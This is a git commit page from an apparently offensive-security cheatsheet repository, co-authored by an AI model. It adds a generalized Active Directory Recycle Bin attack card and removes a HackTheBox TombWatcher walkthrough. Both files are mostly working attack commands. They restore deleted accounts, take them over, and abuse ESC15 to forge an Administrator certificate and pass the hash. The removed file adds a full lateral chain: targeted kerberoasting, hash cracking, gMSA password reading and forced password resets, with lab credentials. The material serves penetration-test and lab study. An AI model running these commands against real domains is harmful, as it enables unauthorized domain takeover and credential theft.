daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

commit 6e2600541b6cc993eb2ae7fe244363b1f21c4bc5
parent 64609dbf1ea4dda7623ac7ce75058f05e0c758d5
Author: DAEMON <zer0sec.xp@icloud.com>
Date:   Sun, 20 Sep 2026 03:53:10 +0100

Generalize AD Recycle Bin cheat sheet (drop box-specific naming)

Rename ad-recycle-bin-tombwatcher -> ad-recycle-bin-enumeration and
genericize creds/IPs/usernames to placeholders. Keeps the four enumeration
methods (native PS, PowerView tombstone searcher, bloodyAD, ldapsearch),
the duplicate-tombstone SID-matching trap, restore/takeover, and the ADCS
ESC payoff as general guidance.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

Diffstat:
Asrc/content/sheets/active-directory/ad-recycle-bin-enumeration.md | 147+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Dsrc/content/sheets/active-directory/ad-recycle-bin-tombwatcher.md | 190-------------------------------------------------------------------------------
2 files changed, 147 insertions(+), 190 deletions(-)

diff --git a/src/content/sheets/active-directory/ad-recycle-bin-enumeration.md b/src/content/sheets/active-directory/ad-recycle-bin-enumeration.md @@ -0,0 +1,147 @@ +--- +title: "AD Recycle Bin Enumeration & Deleted-Object Recovery" +description: "Find and restore deleted AD accounts from the Recycle Bin four ways — native Get-ADObject, PowerView's tombstone searcher, bloodyAD and ldapsearch — tell duplicate tombstones apart by SID, and turn a restored object's hidden rights (group membership, ADCS enrolment) into escalation." +category: active-directory +subcategory: "Tooling & Recon" +tags: [active-directory, recycle-bin, deleted-objects, tombstone, adcs, esc15, bloodyad, powerview, certipy] +tools: ["Get-ADObject / Restore-ADObject", "PowerView (Get-DomainSearcher)", "bloodyAD", "ldapsearch", "Certipy"] +difficulty: intermediate +updated: "2026-09-20" +source: "vault:05CPTS-Preperation/TombWatcher" +--- + +# AD Recycle Bin Enumeration & Deleted-Object Recovery + +The AD Recycle Bin keeps deleted objects **restorable with their SID, group memberships and rights intact**. That makes a deleted account a real attack surface: an object can be "gone" from the live directory yet still hold an ACL edge or a certificate-enrolment right that a restore hands straight to you. This card covers **enumerating and restoring** deleted objects four ways — native PowerShell, PowerView, `bloodyAD`, `ldapsearch` — and turning a restored object into escalation. + +> [!tip] The tell — an unresolved SID that still holds rights +> In BloodHound (or any ACL dump), a **raw SID with no principal name** that owns an edge — `GenericAll`, `WriteOwner`, an `Enroll` on a cert template — is the classic signature of a **deleted object**. If you also control its container (`GenericAll` over the OU), you can restore it and inherit whatever it held. That is the cue to look in the Recycle Bin. + +## Set the context + +```bash +DC=10.10.10.10 # a domain controller +DOMAIN=corp.local +BASE='DC=corp,DC=local' +U=lowpriv ; P='Password123!' # any account that can read the directory +``` + +## 1 · Is the Recycle Bin enabled? + +```powershell +Get-ADOptionalFeature -Filter "name -like 'Recycle Bin Feature'" | Format-Table name,EnabledScopes +``` + +If `EnabledScopes` is populated, deleted objects restore with **all** attributes and links. If not, objects are *tombstones* — most attributes are stripped, but `objectSid`, `lastKnownParent` and `msDS-LastKnownRDN` still enumerate, which is enough to find and (often) restore them. + +## 2 · Enumerate the Recycle Bin — four ways + +Pick whichever matches your foothold. Always pull `objectSid` and `lastKnownParent` so duplicate copies can be told apart (see §3). + +### A · Windows PowerShell — native, no PowerView + +The `ActiveDirectory` module ships on every DC (and any host with RSAT). `-IncludeDeletedObjects` is the switch: + +```powershell +Import-Module ActiveDirectory +Get-ADObject -Filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' ` + -IncludeDeletedObjects -Properties objectSid,lastKnownParent,msDS-LastKnownRDN | + Format-Table msDS-LastKnownRDN,objectSid,lastKnownParent +# target one by its old name: +Get-ADObject -LDAPFilter '(msDS-LastKnownRDN=<name>)' -IncludeDeletedObjects -Properties * +``` + +### B · Windows PowerShell — with PowerView + +PowerView has no deleted-object cmdlet, but its searcher exposes the tombstone control. Grab a `Get-DomainSearcher`, flip `.Tombstone`, then `FindAll()`: + +```powershell +Import-Module .\PowerView.ps1 +$ds = Get-DomainSearcher -LDAPFilter '(&(isDeleted=TRUE)(!(name=Deleted Objects)))' +$ds.Tombstone = $true # adds the LDAP "Show Deleted Objects" control +$ds.PropertiesToLoad.AddRange(@('msDS-LastKnownRDN','objectSid','lastKnownParent')) +$ds.FindAll() | ForEach-Object { $_.Properties } +``` + +> [!warning] With PowerView, `Get-DomainObject` will NOT show them +> `Get-DomainObject` / `Get-DomainUser` build a searcher **without** the tombstone control, so the bin looks empty and you conclude there's nothing there — the trap that wastes time. You must drop to the raw `Get-DomainSearcher` + `.Tombstone = $true` above. PowerView also cannot **restore** an object — for that, fall back to native `Restore-ADObject` or bloodyAD (§4). When the `ActiveDirectory` module is present, native (A) is one line and does both halves, so prefer it. + +### C · Linux — bloodyAD (no upload, no shell) + +`1.2.840.113556.1.4.2064` is the LDAP *Show Deleted Objects* control: + +```bash +bloodyAD -u "$U" -d "$DOMAIN" -p "$P" --host "$DC" \ + get search -c 1.2.840.113556.1.4.2064 \ + --filter '(isDeleted=TRUE)' --attr name,objectSid,lastKnownParent +# works with a hash too: -p ':<nthash>' +``` + +### D · Linux — ldapsearch + +Same control by OID; the leading `!` marks it critical: + +```bash +ldapsearch -x -H ldap://$DC -D "$U@$DOMAIN" -w "$P" -b "$BASE" \ + -E '!1.2.840.113556.1.4.2064' \ + '(isDeleted=TRUE)' name objectSid lastKnownParent msDS-LastKnownRDN +``` + +## 3 · Tell duplicate copies apart + +A name that was deleted more than once leaves **several tombstones with the same `msDS-LastKnownRDN`, differing only by RID** in `objectSid`. Only one may carry the right you want, so do not restore blindly: + +| Deleted object | objectSid (RID) | Notes | +|---|---|---| +| `<name>` (copy 1) | `S-1-5-21-…-1109` | no useful rights | +| `<name>` (copy 2) | `S-1-5-21-…-1110` | no useful rights | +| `<name>` (copy 3) | `S-1-5-21-…-1111` | holds the `Enroll` / ACL edge | + +> [!tip] Match the SID to the edge before restoring +> Take the **raw SID from the BloodHound edge** (the unresolved principal from the tell above) and match it to the `objectSid` column from §2. `msDS-LastKnownRDN` gives the old name, `lastKnownParent` the OU it returns to. Restore only the SID that carries the edge — restoring the wrong RID gives you an account with none of the rights. + +## 4 · Restore and take over + +```bash +# Linux — restore the exact SID that owns the edge +bloodyAD -u "$U" -d "$DOMAIN" -p "$P" --host "$DC" set restore 'S-1-5-21-…-1111' +``` + +```powershell +# Windows — restore by deleted-object DN (from Get-ADObject -IncludeDeletedObjects) +Restore-ADObject -Identity '<distinguishedName-with-\0ADEL:GUID>' +``` + +If you control the restored object (e.g. `GenericAll` over its OU covers restored children too), take it over — reset the password or add shadow credentials: + +```bash +certipy shadow auto -target "$DC" -u "$U" -p "$P" -account <restored> +# or: bloodyAD -u "$U" -d "$DOMAIN" -p "$P" --host "$DC" set password <restored> '<NewPass123!>' +``` + +## 5 · Turn the restored object into escalation + +A restored account brings back **rights the live tree was hiding** — group membership, ACL edges, or certificate-template enrolment. The common payoff is a restored **ADCS enrollee** on a vulnerable template: + +```bash +# enumerate templates as the restored principal +certipy find -target "$DC" -u <restored> -p '<pw>' -vulnerable -stdout +# e.g. ESC15 (CVE-2024-49019) on a schema-v1 template that supplies its own subject: +certipy req -u <restored>@$DOMAIN -p '<pw>' -dc-ip "$DC" -target "$DC" \ + -ca '<CA-NAME>' -template '<VULN-TEMPLATE>' \ + -upn administrator@$DOMAIN -application-policies 'Client Authentication' +certipy auth -pfx administrator.pfx -username administrator -domain "$DOMAIN" -dc-ip "$DC" +# -> Administrator NT hash -> pass-the-hash +``` + +Other payoffs from a restored object: it may still be a member of a privileged group, own another principal via an ACL edge, or hold a `servicePrincipalName` (kerberoast). Re-run BloodHound as the restored identity to see what it unlocks. + +## Takeaways + +> [!tip] Recycle-Bin habit +> - **Unresolved SID with an ACL/Enroll edge → look in the Recycle Bin.** +> - Enumerate with `Get-ADObject -IncludeDeletedObjects` (native) or the tombstone control `1.2.840.113556.1.4.2064` (bloodyAD/ldapsearch). With PowerView you must use `Get-DomainSearcher` + `.Tombstone = $true` — `Get-DomainObject` **won't** show deleted objects. +> - When duplicates exist, **match `objectSid` to the edge's SID** before restoring. +> - `GenericAll` over an OU covers **restored** objects too — restore, own, then use the rights the object brings back (group membership, ADCS enrolment → ESC, SPN → kerberoast). + +Related: [Active Directory Enumeration — Native Tooling](/sheets/active-directory/ad-enumeration-native). diff --git a/src/content/sheets/active-directory/ad-recycle-bin-tombwatcher.md b/src/content/sheets/active-directory/ad-recycle-bin-tombwatcher.md @@ -1,190 +0,0 @@ ---- -title: "AD Recycle Bin Enumeration & Deleted-Object Recovery — TombWatcher" -description: "Find and restore deleted AD accounts from the Recycle Bin with native Get-ADObject / bloodyAD (not PowerView), tell tombstoned copies apart by SID, then chain a restored ADCS enrollee to ESC15 — the full HTB TombWatcher path." -category: active-directory -subcategory: "Tooling & Recon" -tags: [active-directory, recycle-bin, deleted-objects, tombstone, adcs, esc15, tombwatcher, bloodyad, certipy] -tools: ["Get-ADObject / Restore-ADObject", "bloodyAD", "Certipy", "rusthound-ce / BloodHound", "nxc"] -difficulty: advanced -updated: "2026-09-20" -source: "vault:05CPTS-Preperation/TombWatcher" ---- - -# AD Recycle Bin Enumeration & Deleted-Object Recovery — TombWatcher - -The AD Recycle Bin keeps deleted objects **restorable with their SID, group memberships and rights intact**. That makes a deleted account a real attack surface: an unresolved SID that still holds an ACL edge is the classic signature of an object waiting in the bin. This card is the **native way to enumerate and restore** those objects — `Get-ADObject -IncludeDeletedObjects` and `bloodyAD`, *not* PowerView — worked end to end on **HTB TombWatcher**, where a restored `cert_admin` account is the pivot into an ADCS **ESC15** escalation to Domain Admin. - -> [!warning] You do NOT need PowerView for the Recycle Bin -> The bin is readable with tooling already in place: `Get-ADObject -IncludeDeletedObjects` ships in the DC's built-in `ActiveDirectory` module, and `bloodyAD` reads it straight from Linux with the "show deleted" LDAP control. On TombWatcher, uploading PowerView to do this kept interfering with the working enumeration and added nothing. - -## The TombWatcher chain at a glance - -`henry` *(given)* → **WriteSPN** → `alfred` → **AddSelf** → `INFRASTRUCTURE` → **ReadGMSAPassword** → `ansible_dev$` → **ForceChangePassword** → `sam` → **WriteOwner** → `john` → **GenericAll over OU=ADCS** → **AD Recycle Bin: restore `cert_admin`** → **ADCS ESC15 (CVE-2024-49019)** → `Administrator` - -- Domain: `tombwatcher.htb` · DC: `DC01` (`10.129.232.167`, instance-specific — swap your own) -- Given creds: `henry : H3nry_987TGV!` (assume-breach; nothing on SMB shares → go to the graph) - -## 1 · Spot the deleted object (why look in the bin) - -Collect the graph as each newly-owned principal — owning `john` exposes edges the earlier identities could not see: - -```bash -rusthound-ce -c All -d tombwatcher.htb -u 'john@tombwatcher.htb' -p 'password' -o enum/ -z -``` - -`john` has **GenericAll over the `ADCS` OU** — control of everything inside it, *present or restored*. BloodHound then shows an **`Enroll` edge to the `WebServer` template from a raw SID with no name attached**. - -> [!tip] The tell -> An **unresolved SID that still holds rights** (an ACL/`Enroll` edge with no principal name) almost always means a **deleted object**. `GenericAll` over its OU means you can restore it and then own it. Go look in the Recycle Bin. - -## 2 · Enumerate the AD Recycle Bin - -Four ways to read deleted objects — pick whichever matches your foothold. Always pull `objectSid` and `lastKnownParent` so duplicate copies can be told apart (see §3). - -### A · Windows PowerShell — native, no PowerView - -The `ActiveDirectory` module ships on every DC (and any host with RSAT). `-IncludeDeletedObjects` is the switch: - -```powershell -Import-Module ActiveDirectory -Get-ADObject -Filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' ` - -IncludeDeletedObjects -Properties objectSid,lastKnownParent,msDS-LastKnownRDN | - Format-Table msDS-LastKnownRDN,objectSid,lastKnownParent -# target one by its old name: -Get-ADObject -LDAPFilter '(msDS-LastKnownRDN=cert_admin)' -IncludeDeletedObjects -Properties * -``` - -### B · Windows PowerShell — with PowerView - -PowerView has no deleted-object cmdlet, but its searcher exposes the tombstone control. Grab a `Get-DomainSearcher`, flip `.Tombstone`, then `FindAll()`: - -```powershell -Import-Module .\PowerView.ps1 -$ds = Get-DomainSearcher -LDAPFilter '(&(isDeleted=TRUE)(!(name=Deleted Objects)))' -$ds.Tombstone = $true # adds the LDAP "Show Deleted Objects" control -$ds.PropertiesToLoad.AddRange(@('msDS-LastKnownRDN','objectSid','lastKnownParent')) -$ds.FindAll() | ForEach-Object { $_.Properties } -``` - -> [!warning] With PowerView, `Get-DomainObject` will NOT show them -> `Get-DomainObject` / `Get-DomainUser` build a searcher **without** the tombstone control, so the bin looks empty and you conclude there's nothing there — exactly the trap that wastes time on a box like this. You must drop to the raw `Get-DomainSearcher` + `.Tombstone = $true` above. And PowerView cannot **restore** an object — for that you still fall back to native `Restore-ADObject` or bloodyAD (§4). Native `Get-ADObject -IncludeDeletedObjects` (A) is one line and does both halves, so prefer it when the module is present. - -### C · Linux — bloodyAD (no upload, no shell) - -`1.2.840.113556.1.4.2064` is the LDAP *Show Deleted Objects* control: - -```bash -bloodyAD -u john -d tombwatcher.htb -p ':8846f7eaee8fb117ad06bdd830b7586c' \ - --host 10.129.232.167 get search -c 1.2.840.113556.1.4.2064 \ - --filter '(isDeleted=TRUE)' --attr name,objectSid,lastKnownParent -``` - -### D · Linux — ldapsearch - -Same control by OID; the leading `!` marks it critical: - -```bash -ldapsearch -x -H ldap://10.129.232.167 -D 'john@tombwatcher.htb' -w 'password' \ - -b 'DC=tombwatcher,DC=htb' -E '!1.2.840.113556.1.4.2064' \ - '(isDeleted=TRUE)' name objectSid lastKnownParent msDS-LastKnownRDN -``` - -> [!info] Is the Recycle Bin even on? -> ```powershell -> Get-ADOptionalFeature -Filter "name -like 'Recycle Bin Feature'" | ft name,EnabledScopes -> ``` -> If `EnabledScopes` is populated the bin is enabled and objects restore with **all** attributes/links. If not, objects are *tombstones* — most attributes are stripped, but `objectSid`, `lastKnownParent` and `msDS-LastKnownRDN` still enumerate. - -## 3 · Tell the copies apart (the TombWatcher trap) - -TombWatcher seeds **three** deleted `cert_admin` users, all with `LastKnownParent : OU=ADCS`, differing only by RID: - -| Deleted object | objectSid (RID) | -|---|---| -| `cert_admin` (copy 1) | `…-2126982587-1109` | -| `cert_admin` (copy 2) | `…-2126982587-1110` | -| `cert_admin` (copy 3) | `…-2126982587-1111` ← has `Enroll` on `WebServer` | - -Only one copy holds the certificate rights. **Match the SID from the BloodHound `Enroll` edge** (the unresolved SID from step 1) to the right deleted copy — here the one ending in **`-1111`**. Restore the wrong RID and the enrollment right is not there. - -> [!tip] Fine-tune the match -> Cross-reference the raw SID in the BloodHound edge against the `objectSid` column from step 2. `msDS-LastKnownRDN` gives the old name, `lastKnownParent` gives the OU it will return to. Restore only the SID that carries the edge you want. - -## 4 · Restore and take over the account - -```bash -# restore the exact SID that owns the Enroll edge -bloodyAD -u john -d tombwatcher.htb -p 'password' --host 10.129.232.167 \ - set restore 'S-1-5-21-1392491010-1358638721-2126982587-1111' -# [+] S-1-5-21-...-1111 restored under CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb -``` - -With `cert_admin` back in `OU=ADCS` and `john` holding **GenericAll over that OU**, take control of it — reset its password or shadow-credential it: - -```bash -certipy shadow auto -target dc01.tombwatcher.htb -u john -p password -account cert_admin -# or: bloodyAD -u john -d tombwatcher.htb -p 'password' --host 10.129.232.167 set password cert_admin 'password' -``` - -`cert_admin : password` — now enumerate ADCS as that principal. - -> [!note] PowerShell restore equivalent -> On a DC/WinRM session: `Restore-ADObject -Identity '<distinguishedName-with-\0ADEL:GUID>'` (get the DN from `Get-ADObject -IncludeDeletedObjects`). `bloodyAD set restore <SID>` is the Linux-side one-liner. - -## 5 · Payoff — ADCS ESC15 (CVE-2024-49019, "EKUwu") - -Enumerate templates as the restored enrollee: - -```bash -certipy find -target dc01.tombwatcher.htb -u cert_admin -p 'password' -vulnerable -stdout -# ESC15 : Enrollee supplies subject and schema version is 1. -``` - -`WebServer` is a **schema v1** template with *Enrollee Supplies Subject*; its EKU says Server Authentication only, but a v1 template does not lock the issued cert's **application policies**. Inject a **Client Authentication** policy at request time and spoof the Administrator UPN: - -```bash -certipy req -u cert_admin@tombwatcher.htb -p 'password' -dc-ip 10.129.232.167 \ - -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer \ - -upn administrator@tombwatcher.htb -application-policies 'Client Authentication' -# [*] Wrote certificate and private key to 'administrator.pfx' -``` - -Authenticate with the cert to pull the Administrator NT hash, then pass-the-hash: - -```bash -certipy auth -pfx administrator.pfx -username administrator -domain tombwatcher.htb -dc-ip 10.129.232.167 -# [*] Got hash for 'administrator@tombwatcher.htb': aad3b435...:f61db423... -nxc winrm 10.129.232.167 -u administrator -H f61db423bebe3328d33af26741afe5fc -``` - -> [!note] Enrolment-agent variant -> ESC15 also has a longer route: mint a Certificate Request Agent cert (`-application-policies '1.3.6.1.4.1.311.20.2.1'`) then enrol on behalf of Administrator against a client-auth template. The direct Client Authentication injection above is the shorter path. - -## 6 · The lead-in edges (how you reach `john`) - -Condensed — the ACL chain that gets you the identity that owns the OU: - -```bash -# WriteSPN -> targeted kerberoast alfred -certipy account update ... ; # (or bloodyAD set object alfred servicePrincipalName -v 'x/x') -python3 targetedKerberoast.py -v -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --request-user alfred -hashcat -m 13100 alfred.tgs /usr/share/wordlists/rockyou.txt -# AddSelf -> INFRASTRUCTURE, then ReadGMSAPassword -> ansible_dev$ -bloodyAD -u alfred -d tombwatcher.htb -p '<pw>' --host 10.129.232.167 add groupMember INFRASTRUCTURE alfred -bloodyAD -u alfred -d tombwatcher.htb -p '<pw>' --host 10.129.232.167 get object 'ansible_dev$' --attr msDS-ManagedPassword -# ForceChangePassword -> sam ; WriteOwner -> john (own -> GenericAll -> reset) -bloodyAD -u ansible_dev\$ -d tombwatcher.htb -p ':<gmsa_nt>' --host 10.129.232.167 set password sam '<newpw>' -bloodyAD -u sam -d tombwatcher.htb -p '<pw>' --host 10.129.232.167 set owner john sam -bloodyAD -u sam -d tombwatcher.htb -p '<pw>' --host 10.129.232.167 add genericAll john sam -bloodyAD -u sam -d tombwatcher.htb -p '<pw>' --host 10.129.232.167 set password john '<newpw>' -``` - -## Takeaways - -> [!tip] Recycle-Bin habit -> - An **unresolved SID with an ACL/Enroll edge** = go look in the Recycle Bin. -> - Enumerate with `Get-ADObject -IncludeDeletedObjects` (Windows) or `bloodyAD ... -c 1.2.840.113556.1.4.2064 --filter '(isDeleted=TRUE)'` (Linux) — **not PowerView**. -> - When duplicates exist, **match `objectSid` to the edge's SID** before restoring; restoring the wrong RID wastes the attempt. -> - `GenericAll` over an OU covers **restored** objects too — restore, own, then use its rights (here, ADCS enrollment → ESC15). - -Related: [Active Directory Enumeration — Native Tooling](/sheets/active-directory/ad-enumeration-native).